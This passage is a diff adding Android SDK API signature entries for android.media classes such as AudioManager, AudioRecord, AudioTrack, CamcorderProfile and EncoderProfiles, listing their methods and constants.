+    field public static final String PROPERTY_SUPPORT_AUDIO_SOURCE_UNPROCESSED = "android.media.property.SUPPORT_AUDIO_SOURCE_UNPROCESSED";
+    field public static final String PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND = "android.media.property.SUPPORT_MIC_NEAR_ULTRASOUND";
+    field public static final String PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND = "android.media.property.SUPPORT_SPEAKER_NEAR_ULTRASOUND";
+    field public static final String RINGER_MODE_CHANGED_ACTION = "android.media.RINGER_MODE_CHANGED";
+    field public static final int RINGER_MODE_NORMAL = 2; // 0x2
+    field public static final int RINGER_MODE_SILENT = 0; // 0x0
+    field public static final int RINGER_MODE_VIBRATE = 1; // 0x1
+    field @Deprecated public static final int ROUTE_ALL = -1; // 0xffffffff
+    field @Deprecated public static final int ROUTE_BLUETOOTH = 4; // 0x4
+    field @Deprecated public static final int ROUTE_BLUETOOTH_A2DP = 16; // 0x10
+    field @Deprecated public static final int ROUTE_BLUETOOTH_SCO = 4; // 0x4
+    field @Deprecated public static final int ROUTE_EARPIECE = 1; // 0x1
+    field @Deprecated public static final int ROUTE_HEADSET = 8; // 0x8
+    field @Deprecated public static final int ROUTE_SPEAKER = 2; // 0x2
+    field public static final int SCO_AUDIO_STATE_CONNECTED = 1; // 0x1
+    field public static final int SCO_AUDIO_STATE_CONNECTING = 2; // 0x2
+    field public static final int SCO_AUDIO_STATE_DISCONNECTED = 0; // 0x0
+    field public static final int SCO_AUDIO_STATE_ERROR = -1; // 0xffffffff
+    field public static final int STREAM_ACCESSIBILITY = 10; // 0xa
+    field public static final int STREAM_ALARM = 4; // 0x4
+    field public static final int STREAM_DTMF = 8; // 0x8
+    field public static final int STREAM_MUSIC = 3; // 0x3
+    field public static final int STREAM_NOTIFICATION = 5; // 0x5
+    field public static final int STREAM_RING = 2; // 0x2
+    field public static final int STREAM_SYSTEM = 1; // 0x1
+    field public static final int STREAM_VOICE_CALL = 0; // 0x0
+    field public static final int USE_DEFAULT_STREAM_TYPE = -2147483648; // 0x80000000
+    field @Deprecated public static final String VIBRATE_SETTING_CHANGED_ACTION = "android.media.VIBRATE_SETTING_CHANGED";
+    field @Deprecated public static final int VIBRATE_SETTING_OFF = 0; // 0x0
+    field @Deprecated public static final int VIBRATE_SETTING_ON = 1; // 0x1
+    field @Deprecated public static final int VIBRATE_SETTING_ONLY_SILENT = 2; // 0x2
+    field @Deprecated public static final int VIBRATE_TYPE_NOTIFICATION = 1; // 0x1
+    field @Deprecated public static final int VIBRATE_TYPE_RINGER = 0; // 0x0
+  }
+
+  public abstract static class AudioManager.AudioPlaybackCallback {
+    ctor public AudioManager.AudioPlaybackCallback();
+    method public void onPlaybackConfigChanged(java.util.List<android.media.AudioPlaybackConfiguration>);
+  }
+
+  public abstract static class AudioManager.AudioRecordingCallback {
+    ctor public AudioManager.AudioRecordingCallback();
+    method public void onRecordingConfigChanged(java.util.List<android.media.AudioRecordingConfiguration>);
+  }
+
+  public static interface AudioManager.OnAudioFocusChangeListener {
+    method public void onAudioFocusChange(int);
+  }
+
+  public static interface AudioManager.OnCommunicationDeviceChangedListener {
+    method public void onCommunicationDeviceChanged(@Nullable android.media.AudioDeviceInfo);
+  }
+
+  public static interface AudioManager.OnModeChangedListener {
+    method public void onModeChanged(int);
+  }
+
+  public final class AudioMetadata {
+    method @NonNull public static android.media.AudioMetadataMap createMap();
+  }
+
+  public static class AudioMetadata.Format {
+    field @NonNull public static final android.media.AudioMetadata.Key<java.lang.Boolean> KEY_ATMOS_PRESENT;
+    field @NonNull public static final android.media.AudioMetadata.Key<java.lang.Integer> KEY_AUDIO_ENCODING;
+    field @NonNull public static final android.media.AudioMetadata.Key<java.lang.Integer> KEY_BIT_RATE;
+    field @NonNull public static final android.media.AudioMetadata.Key<java.lang.Integer> KEY_BIT_WIDTH;
+    field @NonNull public static final android.media.AudioMetadata.Key<java.lang.Integer> KEY_CHANNEL_MASK;
+    field @NonNull public static final android.media.AudioMetadata.Key<java.lang.String> KEY_MIME;
+    field @NonNull public static final android.media.AudioMetadata.Key<java.lang.Integer> KEY_PRESENTATION_CONTENT_CLASSIFIER;
+    field @NonNull public static final android.media.AudioMetadata.Key<java.lang.Integer> KEY_PRESENTATION_ID;
+    field @NonNull public static final android.media.AudioMetadata.Key<java.lang.String> KEY_PRESENTATION_LANGUAGE;
+    field @NonNull public static final android.media.AudioMetadata.Key<java.lang.Integer> KEY_PROGRAM_ID;
+    field @NonNull public static final android.media.AudioMetadata.Key<java.lang.Integer> KEY_SAMPLE_RATE;
+  }
+
+  public static interface AudioMetadata.Key<T> {
+    method @NonNull public String getName();
+    method @NonNull public Class<T> getValueClass();
+  }
+
+  public interface AudioMetadataMap extends android.media.AudioMetadataReadMap {
+    method @Nullable public <T> T remove(@NonNull android.media.AudioMetadata.Key<T>);
+    method @Nullable public <T> T set(@NonNull android.media.AudioMetadata.Key<T>, @NonNull T);
+  }
+
+  public interface AudioMetadataReadMap {
+    method public <T> boolean containsKey(@NonNull android.media.AudioMetadata.Key<T>);
+    method @NonNull public android.media.AudioMetadataMap dup();
+    method @Nullable public <T> T get(@NonNull android.media.AudioMetadata.Key<T>);
+    method @IntRange(from=0) public int size();
+  }
+
+  public final class AudioPlaybackCaptureConfiguration {
+    method @NonNull public int[] getExcludeUids();
+    method @NonNull public int[] getExcludeUsages();
+    method @NonNull public int[] getMatchingUids();
+    method @NonNull public int[] getMatchingUsages();
+    method @NonNull public android.media.projection.MediaProjection getMediaProjection();
+  }
+
+  public static final class AudioPlaybackCaptureConfiguration.Builder {
+    ctor public AudioPlaybackCaptureConfiguration.Builder(@NonNull android.media.projection.MediaProjection);
+    method @NonNull public android.media.AudioPlaybackCaptureConfiguration.Builder addMatchingUid(int);
+    method @NonNull public android.media.AudioPlaybackCaptureConfiguration.Builder addMatchingUsage(int);
+    method @NonNull public android.media.AudioPlaybackCaptureConfiguration build();
+    method @NonNull public android.media.AudioPlaybackCaptureConfiguration.Builder excludeUid(int);
+    method @NonNull public android.media.AudioPlaybackCaptureConfiguration.Builder excludeUsage(int);
+  }
+
+  public final class AudioPlaybackConfiguration implements android.os.Parcelable {
+    method public int describeContents();
+    method public android.media.AudioAttributes getAudioAttributes();
+    method @Nullable public android.media.AudioDeviceInfo getAudioDeviceInfo();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.media.AudioPlaybackConfiguration> CREATOR;
+  }
+
+  public final class AudioPresentation {
+    method public java.util.Map<java.util.Locale,java.lang.String> getLabels();
+    method public java.util.Locale getLocale();
+    method public int getMasteringIndication();
+    method public int getPresentationId();
+    method public int getProgramId();
+    method public boolean hasAudioDescription();
+    method public boolean hasDialogueEnhancement();
+    method public boolean hasSpokenSubtitles();
+    field public static final int CONTENT_COMMENTARY = 5; // 0x5
+    field public static final int CONTENT_DIALOG = 4; // 0x4
+    field public static final int CONTENT_EMERGENCY = 6; // 0x6
+    field public static final int CONTENT_HEARING_IMPAIRED = 3; // 0x3
+    field public static final int CONTENT_MAIN = 0; // 0x0
+    field public static final int CONTENT_MUSIC_AND_EFFECTS = 1; // 0x1
+    field public static final int CONTENT_UNKNOWN = -1; // 0xffffffff
+    field public static final int CONTENT_VISUALLY_IMPAIRED = 2; // 0x2
+    field public static final int CONTENT_VOICEOVER = 7; // 0x7
+    field public static final int MASTERED_FOR_3D = 3; // 0x3
+    field public static final int MASTERED_FOR_HEADPHONE = 4; // 0x4
+    field public static final int MASTERED_FOR_STEREO = 1; // 0x1
+    field public static final int MASTERED_FOR_SURROUND = 2; // 0x2
+    field public static final int MASTERING_NOT_INDICATED = 0; // 0x0
+  }
+
+  public static final class AudioPresentation.Builder {
+    ctor public AudioPresentation.Builder(int);
+    method @NonNull public android.media.AudioPresentation build();
+    method @NonNull public android.media.AudioPresentation.Builder setHasAudioDescription(boolean);
+    method @NonNull public android.media.AudioPresentation.Builder setHasDialogueEnhancement(boolean);
+    method @NonNull public android.media.AudioPresentation.Builder setHasSpokenSubtitles(boolean);
+    method @NonNull public android.media.AudioPresentation.Builder setLabels(@NonNull java.util.Map<android.icu.util.ULocale,java.lang.CharSequence>);
+    method @NonNull public android.media.AudioPresentation.Builder setLocale(@NonNull android.icu.util.ULocale);
+    method @NonNull public android.media.AudioPresentation.Builder setMasteringIndication(int);
+    method @NonNull public android.media.AudioPresentation.Builder setProgramId(int);
+  }
+
+  public class AudioProfile {
+    method @NonNull public int[] getChannelIndexMasks();
+    method @NonNull public int[] getChannelMasks();
+    method public int getEncapsulationType();
+    method public int getFormat();
+    method @NonNull public int[] getSampleRates();
+    field public static final int AUDIO_ENCAPSULATION_TYPE_IEC61937 = 1; // 0x1
+    field public static final int AUDIO_ENCAPSULATION_TYPE_NONE = 0; // 0x0
+  }
+
+  public class AudioRecord implements android.media.AudioRecordingMonitor android.media.AudioRouting android.media.MicrophoneDirection {
+    ctor @RequiresPermission(android.Manifest.permission.RECORD_AUDIO) public AudioRecord(int, int, int, int, int) throws java.lang.IllegalArgumentException;
+    method public void addOnRoutingChangedListener(android.media.AudioRouting.OnRoutingChangedListener, android.os.Handler);
+    method @Deprecated public void addOnRoutingChangedListener(android.media.AudioRecord.OnRoutingChangedListener, android.os.Handler);
+    method protected void finalize();
+    method public java.util.List<android.media.MicrophoneInfo> getActiveMicrophones() throws java.io.IOException;
+    method @Nullable public android.media.AudioRecordingConfiguration getActiveRecordingConfiguration();
+    method public int getAudioFormat();
+    method public int getAudioSessionId();
+    method public int getAudioSource();
+    method public int getBufferSizeInFrames();
+    method public int getChannelConfiguration();
+    method public int getChannelCount();
+    method @NonNull public android.media.AudioFormat getFormat();
+    method @NonNull public android.media.metrics.LogSessionId getLogSessionId();
+    method public android.os.PersistableBundle getMetrics();
+    method public static int getMinBufferSize(int, int, int);
+    method public int getNotificationMarkerPosition();
+    method public int getPositionNotificationPeriod();
+    method public android.media.AudioDeviceInfo getPreferredDevice();
+    method public int getRecordingState();
+    method public android.media.AudioDeviceInfo getRoutedDevice();
+    method public int getSampleRate();
+    method public int getState();
+    method public int getTimestamp(@NonNull android.media.AudioTimestamp, int);
+    method public boolean isPrivacySensitive();
+    method public int read(@NonNull byte[], int, int);
+    method public int read(@NonNull byte[], int, int, int);
+    method public int read(@NonNull short[], int, int);
+    method public int read(@NonNull short[], int, int, int);
+    method public int read(@NonNull float[], int, int, int);
+    method public int read(@NonNull java.nio.ByteBuffer, int);
+    method public int read(@NonNull java.nio.ByteBuffer, int, int);
+    method public void registerAudioRecordingCallback(@NonNull java.util.concurrent.Executor, @NonNull android.media.AudioManager.AudioRecordingCallback);
+    method public void release();
+    method public void removeOnRoutingChangedListener(android.media.AudioRouting.OnRoutingChangedListener);
+    method @Deprecated public void removeOnRoutingChangedListener(android.media.AudioRecord.OnRoutingChangedListener);
+    method public void setLogSessionId(@NonNull android.media.metrics.LogSessionId);
+    method public int setNotificationMarkerPosition(int);
+    method public int setPositionNotificationPeriod(int);
+    method public boolean setPreferredDevice(android.media.AudioDeviceInfo);
+    method public boolean setPreferredMicrophoneDirection(int);
+    method public boolean setPreferredMicrophoneFieldDimension(@FloatRange(from=-1.0, to=1.0) float);
+    method public void setRecordPositionUpdateListener(android.media.AudioRecord.OnRecordPositionUpdateListener);
+    method public void setRecordPositionUpdateListener(android.media.AudioRecord.OnRecordPositionUpdateListener, android.os.Handler);
+    method public void startRecording() throws java.lang.IllegalStateException;
+    method public void startRecording(android.media.MediaSyncEvent) throws java.lang.IllegalStateException;
+    method public void stop() throws java.lang.IllegalStateException;
+    method public void unregisterAudioRecordingCallback(@NonNull android.media.AudioManager.AudioRecordingCallback);
+    field public static final int ERROR = -1; // 0xffffffff
+    field public static final int ERROR_BAD_VALUE = -2; // 0xfffffffe
+    field public static final int ERROR_DEAD_OBJECT = -6; // 0xfffffffa
+    field public static final int ERROR_INVALID_OPERATION = -3; // 0xfffffffd
+    field public static final int READ_BLOCKING = 0; // 0x0
+    field public static final int READ_NON_BLOCKING = 1; // 0x1
+    field public static final int RECORDSTATE_RECORDING = 3; // 0x3
+    field public static final int RECORDSTATE_STOPPED = 1; // 0x1
+    field public static final int STATE_INITIALIZED = 1; // 0x1
+    field public static final int STATE_UNINITIALIZED = 0; // 0x0
+    field public static final int SUCCESS = 0; // 0x0
+  }
+
+  public static class AudioRecord.Builder {
+    ctor public AudioRecord.Builder();
+    method @RequiresPermission(android.Manifest.permission.RECORD_AUDIO) public android.media.AudioRecord build() throws java.lang.UnsupportedOperationException;
+    method public android.media.AudioRecord.Builder setAudioFormat(@NonNull android.media.AudioFormat) throws java.lang.IllegalArgumentException;
+    method @NonNull public android.media.AudioRecord.Builder setAudioPlaybackCaptureConfig(@NonNull android.media.AudioPlaybackCaptureConfiguration);
+    method public android.media.AudioRecord.Builder setAudioSource(int) throws java.lang.IllegalArgumentException;
+    method public android.media.AudioRecord.Builder setBufferSizeInBytes(int) throws java.lang.IllegalArgumentException;
+    method @NonNull public android.media.AudioRecord.Builder setContext(@NonNull android.content.Context);
+    method @NonNull public android.media.AudioRecord.Builder setPrivacySensitive(boolean);
+  }
+
+  public static final class AudioRecord.MetricsConstants {
+    field public static final String CHANNELS = "android.media.audiorecord.channels";
+    field public static final String ENCODING = "android.media.audiorecord.encoding";
+    field @Deprecated public static final String LATENCY = "android.media.audiorecord.latency";
+    field public static final String SAMPLERATE = "android.media.audiorecord.samplerate";
+    field public static final String SOURCE = "android.media.audiorecord.source";
+  }
+
+  public static interface AudioRecord.OnRecordPositionUpdateListener {
+    method public void onMarkerReached(android.media.AudioRecord);
+    method public void onPeriodicNotification(android.media.AudioRecord);
+  }
+
+  @Deprecated public static interface AudioRecord.OnRoutingChangedListener extends android.media.AudioRouting.OnRoutingChangedListener {
+    method @Deprecated public void onRoutingChanged(android.media.AudioRecord);
+    method @Deprecated public default void onRoutingChanged(android.media.AudioRouting);
+  }
+
+  public final class AudioRecordingConfiguration implements android.os.Parcelable {
+    method public int describeContents();
+    method public android.media.AudioDeviceInfo getAudioDevice();
+    method public int getAudioSource();
+    method public int getClientAudioSessionId();
+    method public int getClientAudioSource();
+    method @NonNull public java.util.List<android.media.audiofx.AudioEffect.Descriptor> getClientEffects();
+    method public android.media.AudioFormat getClientFormat();
+    method @NonNull public java.util.List<android.media.audiofx.AudioEffect.Descriptor> getEffects();
+    method public android.media.AudioFormat getFormat();
+    method public boolean isClientSilenced();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.media.AudioRecordingConfiguration> CREATOR;
+  }
+
+  public interface AudioRecordingMonitor {
+    method @Nullable public android.media.AudioRecordingConfiguration getActiveRecordingConfiguration();
+    method public void registerAudioRecordingCallback(@NonNull java.util.concurrent.Executor, @NonNull android.media.AudioManager.AudioRecordingCallback);
+    method public void unregisterAudioRecordingCallback(@NonNull android.media.AudioManager.AudioRecordingCallback);
+  }
+
+  public interface AudioRouting {
+    method public void addOnRoutingChangedListener(android.media.AudioRouting.OnRoutingChangedListener, android.os.Handler);
+    method public android.media.AudioDeviceInfo getPreferredDevice();
+    method public android.media.AudioDeviceInfo getRoutedDevice();
+    method public void removeOnRoutingChangedListener(android.media.AudioRouting.OnRoutingChangedListener);
+    method public boolean setPreferredDevice(android.media.AudioDeviceInfo);
+  }
+
+  public static interface AudioRouting.OnRoutingChangedListener {
+    method public void onRoutingChanged(android.media.AudioRouting);
+  }
+
+  public final class AudioTimestamp {
+    ctor public AudioTimestamp();
+    field public static final int TIMEBASE_BOOTTIME = 1; // 0x1
+    field public static final int TIMEBASE_MONOTONIC = 0; // 0x0
+    field public long framePosition;
+    field public long nanoTime;
+  }
+
+  public class AudioTrack implements android.media.AudioRouting android.media.VolumeAutomation {
+    ctor @Deprecated public AudioTrack(int, int, int, int, int, int) throws java.lang.IllegalArgumentException;
+    ctor @Deprecated public AudioTrack(int, int, int, int, int, int, int) throws java.lang.IllegalArgumentException;
+    ctor public AudioTrack(android.media.AudioAttributes, android.media.AudioFormat, int, int, int) throws java.lang.IllegalArgumentException;
+    method public void addOnCodecFormatChangedListener(@NonNull java.util.concurrent.Executor, @NonNull android.media.AudioTrack.OnCodecFormatChangedListener);
+    method public void addOnRoutingChangedListener(android.media.AudioRouting.OnRoutingChangedListener, android.os.Handler);
+    method @Deprecated public void addOnRoutingChangedListener(android.media.AudioTrack.OnRoutingChangedListener, android.os.Handler);
+    method public int attachAuxEffect(int);
+    method @NonNull public android.media.VolumeShaper createVolumeShaper(@NonNull android.media.VolumeShaper.Configuration);
+    method protected void finalize();
+    method public void flush();
+    method @NonNull public android.media.AudioAttributes getAudioAttributes();
+    method public float getAudioDescriptionMixLeveldB();
+    method public int getAudioFormat();
+    method public int getAudioSessionId();
+    method @IntRange(from=0) public int getBufferCapacityInFrames();
+    method @IntRange(from=0) public int getBufferSizeInFrames();
+    method public int getChannelConfiguration();
+    method public int getChannelCount();
+    method public int getDualMonoMode();
+    method @NonNull public android.media.AudioFormat getFormat();
+    method @NonNull public android.media.metrics.LogSessionId getLogSessionId();
+    method public static float getMaxVolume();
+    method public android.os.PersistableBundle getMetrics();
+    method public static int getMinBufferSize(int, int, int);
+    method public static float getMinVolume();
+    method @Deprecated protected int getNativeFrameCount();
+    method public static int getNativeOutputSampleRate(int);
+    method public int getNotificationMarkerPosition();
+    method @IntRange(from=0) public int getOffloadDelay();
+    method @IntRange(from=0) public int getOffloadPadding();
+    method public int getPerformanceMode();
+    method public int getPlayState();
+    method public int getPlaybackHeadPosition();
+    method @NonNull public android.media.PlaybackParams getPlaybackParams();
+    method public int getPlaybackRate();
+    method public int getPositionNotificationPeriod();
+    method public android.media.AudioDeviceInfo getPreferredDevice();
+    method public android.media.AudioDeviceInfo getRoutedDevice();
+    method public int getSampleRate();
+    method @IntRange(from=1) public int getStartThresholdInFrames();
+    method public int getState();
+    method public int getStreamType();
+    method public boolean getTimestamp(android.media.AudioTimestamp);
+    method public int getUnderrunCount();
+    method public static boolean isDirectPlaybackSupported(@NonNull android.media.AudioFormat, @NonNull android.media.AudioAttributes);
+    method public boolean isOffloadedPlayback();
+    method public void pause() throws java.lang.IllegalStateException;
+    method public void play() throws java.lang.IllegalStateException;
+    method public void registerStreamEventCallback(@NonNull java.util.concurrent.Executor, @NonNull android.media.AudioTrack.StreamEventCallback);
+    method public void release();
+    method public int reloadStaticData();
+    method public void removeOnCodecFormatChangedListener(@NonNull android.media.AudioTrack.OnCodecFormatChangedListener);
+    method public void removeOnRoutingChangedListener(android.media.AudioRouting.OnRoutingChangedListener);
+    method @Deprecated public void removeOnRoutingChangedListener(android.media.AudioTrack.OnRoutingChangedListener);
+    method public boolean setAudioDescriptionMixLeveldB(@FloatRange(to=48.0f, toInclusive=true) float);
+    method public int setAuxEffectSendLevel(@FloatRange(from=0.0) float);
+    method public int setBufferSizeInFrames(@IntRange(from=0) int);
+    method public boolean setDualMonoMode(int);
+    method public void setLogSessionId(@NonNull android.media.metrics.LogSessionId);
+    method public int setLoopPoints(@IntRange(from=0) int, @IntRange(from=0) int, @IntRange(from=0xffffffff) int);
+    method public int setNotificationMarkerPosition(int);
+    method public void setOffloadDelayPadding(@IntRange(from=0) int, @IntRange(from=0) int);
+    method public void setOffloadEndOfStream();
+    method public int setPlaybackHeadPosition(@IntRange(from=0) int);
+    method public void setPlaybackParams(@NonNull android.media.PlaybackParams);
+    method public void setPlaybackPositionUpdateListener(android.media.AudioTrack.OnPlaybackPositionUpdateListener);
+    method public void setPlaybackPositionUpdateListener(android.media.AudioTrack.OnPlaybackPositionUpdateListener, android.os.Handler);
+    method public int setPlaybackRate(int);
+    method public int setPositionNotificationPeriod(int);
+    method public boolean setPreferredDevice(android.media.AudioDeviceInfo);
+    method public int setPresentation(@NonNull android.media.AudioPresentation);
+    method @IntRange(from=1) public int setStartThresholdInFrames(@IntRange(from=1) int);
+    method @Deprecated protected void setState(int);
+    method @Deprecated public int setStereoVolume(float, float);
+    method public int setVolume(float);
+    method public void stop() throws java.lang.IllegalStateException;
+    method public void unregisterStreamEventCallback(@NonNull android.media.AudioTrack.StreamEventCallback);
+    method public int write(@NonNull byte[], int, int);
+    method public int write(@NonNull byte[], int, int, int);
+    method public int write(@NonNull short[], int, int);
+    method public int write(@NonNull short[], int, int, int);
+    method public int write(@NonNull float[], int, int, int);
+    method public int write(@NonNull java.nio.ByteBuffer, int, int);
+    method public int write(@NonNull java.nio.ByteBuffer, int, int, long);
+    field public static final int DUAL_MONO_MODE_LL = 2; // 0x2
+    field public static final int DUAL_MONO_MODE_LR = 1; // 0x1
+    field public static final int DUAL_MONO_MODE_OFF = 0; // 0x0
+    field public static final int DUAL_MONO_MODE_RR = 3; // 0x3
+    field public static final int ENCAPSULATION_METADATA_TYPE_DVB_AD_DESCRIPTOR = 2; // 0x2
+    field public static final int ENCAPSULATION_METADATA_TYPE_FRAMEWORK_TUNER = 1; // 0x1
+    field public static final int ENCAPSULATION_MODE_ELEMENTARY_STREAM = 1; // 0x1
+    field public static final int ENCAPSULATION_MODE_NONE = 0; // 0x0
+    field public static final int ERROR = -1; // 0xffffffff
+    field public static final int ERROR_BAD_VALUE = -2; // 0xfffffffe
+    field public static final int ERROR_DEAD_OBJECT = -6; // 0xfffffffa
+    field public static final int ERROR_INVALID_OPERATION = -3; // 0xfffffffd
+    field public static final int MODE_STATIC = 0; // 0x0
+    field public static final int MODE_STREAM = 1; // 0x1
+    field public static final int PERFORMANCE_MODE_LOW_LATENCY = 1; // 0x1
+    field public static final int PERFORMANCE_MODE_NONE = 0; // 0x0
+    field public static final int PERFORMANCE_MODE_POWER_SAVING = 2; // 0x2
+    field public static final int PLAYSTATE_PAUSED = 2; // 0x2
+    field public static final int PLAYSTATE_PLAYING = 3; // 0x3
+    field public static final int PLAYSTATE_STOPPED = 1; // 0x1
+    field public static final int STATE_INITIALIZED = 1; // 0x1
+    field public static final int STATE_NO_STATIC_DATA = 2; // 0x2
+    field public static final int STATE_UNINITIALIZED = 0; // 0x0
+    field public static final int SUCCESS = 0; // 0x0
+    field public static final int WRITE_BLOCKING = 0; // 0x0
+    field public static final int WRITE_NON_BLOCKING = 1; // 0x1
+  }
+
+  public static class AudioTrack.Builder {
+    ctor public AudioTrack.Builder();
+    method @NonNull public android.media.AudioTrack build() throws java.lang.UnsupportedOperationException;
+    method @NonNull public android.media.AudioTrack.Builder setAudioAttributes(@NonNull android.media.AudioAttributes) throws java.lang.IllegalArgumentException;
+    method @NonNull public android.media.AudioTrack.Builder setAudioFormat(@NonNull android.media.AudioFormat) throws java.lang.IllegalArgumentException;
+    method @NonNull public android.media.AudioTrack.Builder setBufferSizeInBytes(@IntRange(from=0) int) throws java.lang.IllegalArgumentException;
+    method @NonNull public android.media.AudioTrack.Builder setEncapsulationMode(int);
+    method @NonNull public android.media.AudioTrack.Builder setOffloadedPlayback(boolean);
+    method @NonNull public android.media.AudioTrack.Builder setPerformanceMode(int);
+    method @NonNull public android.media.AudioTrack.Builder setSessionId(@IntRange(from=1) int) throws java.lang.IllegalArgumentException;
+    method @NonNull public android.media.AudioTrack.Builder setTransferMode(int) throws java.lang.IllegalArgumentException;
+  }
+
+  public static final class AudioTrack.MetricsConstants {
+    field @Deprecated public static final String CHANNELMASK = "android.media.audiorecord.channelmask";
+    field public static final String CONTENTTYPE = "android.media.audiotrack.type";
+    field @Deprecated public static final String SAMPLERATE = "android.media.audiorecord.samplerate";
+    field public static final String STREAMTYPE = "android.media.audiotrack.streamtype";
+    field public static final String USAGE = "android.media.audiotrack.usage";
+  }
+
+  public static interface AudioTrack.OnCodecFormatChangedListener {
+    method public void onCodecFormatChanged(@NonNull android.media.AudioTrack, @Nullable android.media.AudioMetadataReadMap);
+  }
+
+  public static interface AudioTrack.OnPlaybackPositionUpdateListener {
+    method public void onMarkerReached(android.media.AudioTrack);
+    method public void onPeriodicNotification(android.media.AudioTrack);
+  }
+
+  @Deprecated public static interface AudioTrack.OnRoutingChangedListener extends android.media.AudioRouting.OnRoutingChangedListener {
+    method @Deprecated public void onRoutingChanged(android.media.AudioTrack);
+    method @Deprecated public default void onRoutingChanged(android.media.AudioRouting);
+  }
+
+  public abstract static class AudioTrack.StreamEventCallback {
+    ctor public AudioTrack.StreamEventCallback();
+    method public void onDataRequest(@NonNull android.media.AudioTrack, @IntRange(from=0) int);
+    method public void onPresentationEnded(@NonNull android.media.AudioTrack);
+    method public void onTearDown(@NonNull android.media.AudioTrack);
+  }
+
+  public class CamcorderProfile {
+    method @Deprecated public static android.media.CamcorderProfile get(int);
+    method @Deprecated public static android.media.CamcorderProfile get(int, int);
+    method @Nullable public static android.media.EncoderProfiles getAll(@NonNull String, int);
+    method public static boolean hasProfile(int);
+    method public static boolean hasProfile(int, int);
+    field public static final int QUALITY_1080P = 6; // 0x6
+    field public static final int QUALITY_2160P = 8; // 0x8
+    field public static final int QUALITY_2K = 12; // 0xc
+    field public static final int QUALITY_480P = 4; // 0x4
+    field public static final int QUALITY_4KDCI = 10; // 0xa
+    field public static final int QUALITY_720P = 5; // 0x5
+    field public static final int QUALITY_8KUHD = 13; // 0xd
+    field public static final int QUALITY_CIF = 3; // 0x3
+    field public static final int QUALITY_HIGH = 1; // 0x1
+    field public static final int QUALITY_HIGH_SPEED_1080P = 2004; // 0x7d4
+    field public static final int QUALITY_HIGH_SPEED_2160P = 2005; // 0x7d5
+    field public static final int QUALITY_HIGH_SPEED_480P = 2002; // 0x7d2
+    field public static final int QUALITY_HIGH_SPEED_4KDCI = 2008; // 0x7d8
+    field public static final int QUALITY_HIGH_SPEED_720P = 2003; // 0x7d3
+    field public static final int QUALITY_HIGH_SPEED_CIF = 2006; // 0x7d6
+    field public static final int QUALITY_HIGH_SPEED_HIGH = 2001; // 0x7d1
+    field public static final int QUALITY_HIGH_SPEED_LOW = 2000; // 0x7d0
+    field public static final int QUALITY_HIGH_SPEED_VGA = 2007; // 0x7d7
+    field public static final int QUALITY_LOW = 0; // 0x0
+    field public static final int QUALITY_QCIF = 2; // 0x2
+    field public static final int QUALITY_QHD = 11; // 0xb
+    field public static final int QUALITY_QVGA = 7; // 0x7
+    field public static final int QUALITY_TIME_LAPSE_1080P = 1006; // 0x3ee
+    field public static final int QUALITY_TIME_LAPSE_2160P = 1008; // 0x3f0
+    field public static final int QUALITY_TIME_LAPSE_2K = 1012; // 0x3f4
+    field public static final int QUALITY_TIME_LAPSE_480P = 1004; // 0x3ec
+    field public static final int QUALITY_TIME_LAPSE_4KDCI = 1010; // 0x3f2
+    field public static final int QUALITY_TIME_LAPSE_720P = 1005; // 0x3ed
+    field public static final int QUALITY_TIME_LAPSE_8KUHD = 1013; // 0x3f5
+    field public static final int QUALITY_TIME_LAPSE_CIF = 1003; // 0x3eb
+    field public static final int QUALITY_TIME_LAPSE_HIGH = 1001; // 0x3e9
+    field public static final int QUALITY_TIME_LAPSE_LOW = 1000; // 0x3e8
+    field public static final int QUALITY_TIME_LAPSE_QCIF = 1002; // 0x3ea
+    field public static final int QUALITY_TIME_LAPSE_QHD = 1011; // 0x3f3
+    field public static final int QUALITY_TIME_LAPSE_QVGA = 1007; // 0x3ef
+    field public static final int QUALITY_TIME_LAPSE_VGA = 1009; // 0x3f1
+    field public static final int QUALITY_VGA = 9; // 0x9
+    field public int audioBitRate;
+    field public int audioChannels;
+    field public int audioCodec;
+    field public int audioSampleRate;
+    field public int duration;
+    field public int fileFormat;
+    field public int quality;
+    field public int videoBitRate;
+    field public int videoCodec;
+    field public int videoFrameHeight;
+    field public int videoFrameRate;
+    field public int videoFrameWidth;
+  }
+
+  public class CameraProfile {
+    ctor public CameraProfile();
+    method public static int getJpegEncodingQualityParameter(int);
+    method public static int getJpegEncodingQualityParameter(int, int);
+    field public static final int QUALITY_HIGH = 2; // 0x2
+    field public static final int QUALITY_LOW = 0; // 0x0
+    field public static final int QUALITY_MEDIUM = 1; // 0x1
+  }
+
+  public final class DeniedByServerException extends android.media.MediaDrmException {
+    ctor public DeniedByServerException(String);
+  }
+
+  public abstract class DrmInitData {
+    method @Deprecated public abstract android.media.DrmInitData.SchemeInitData get(java.util.UUID);
+    method @NonNull public android.media.DrmInitData.SchemeInitData getSchemeInitDataAt(int);
+    method public int getSchemeInitDataCount();
+  }
+
+  public static final class DrmInitData.SchemeInitData {
+    ctor public DrmInitData.SchemeInitData(@NonNull java.util.UUID, @NonNull String, @NonNull byte[]);
+    field @NonNull public static final java.util.UUID UUID_NIL;
+    field public final byte[] data;
+    field public final String mimeType;
+    field @NonNull public final java.util.UUID uuid;
+  }
+
+  public final class EncoderProfiles {
+    method @NonNull public java.util.List<android.media.EncoderProfiles.AudioProfile> getAudioProfiles();
+    method public int getDefaultDurationSeconds();
+    method public int getRecommendedFileFormat();
+    method @NonNull public java.util.List<android.media.EncoderProfiles.VideoProfile> getVideoProfiles();
+  }
+
+  public static final class EncoderProfiles.AudioProfile {
+    method public int getBitrate();
+    method public int getChannels();
+    method public int getCodec();
+    method @NonNull public String getMediaType();
+    method public int getProfile();
+    method public int getSampleRate();
+  }
+
+  public static final class EncoderProfiles.VideoProfile {
+    method public int getBitrate();
+    method public int getCodec();
+    method public int getFrameRate();
+    method public int getHeight();
+    method @NonNull public String getMediaType();
+    method public int getProfile();
+    method public int getWidth();
+  }
+
+  public class ExifInterface {
+    ctor public ExifInterface(@NonNull java.io.File) throws java.io.IOException;
+    ctor public ExifInterface(@NonNull String) throws java.io.IOException;
+    ctor public ExifInterface(@NonNull java.io.FileDescriptor) throws java.io.IOException;
+    ctor public ExifInterface(@NonNull java.io.InputStream) throws java.io.IOException;
+    ctor public ExifInterface(@NonNull java.io.InputStream, int) throws java.io.IOException;
+    method public double getAltitude(double);
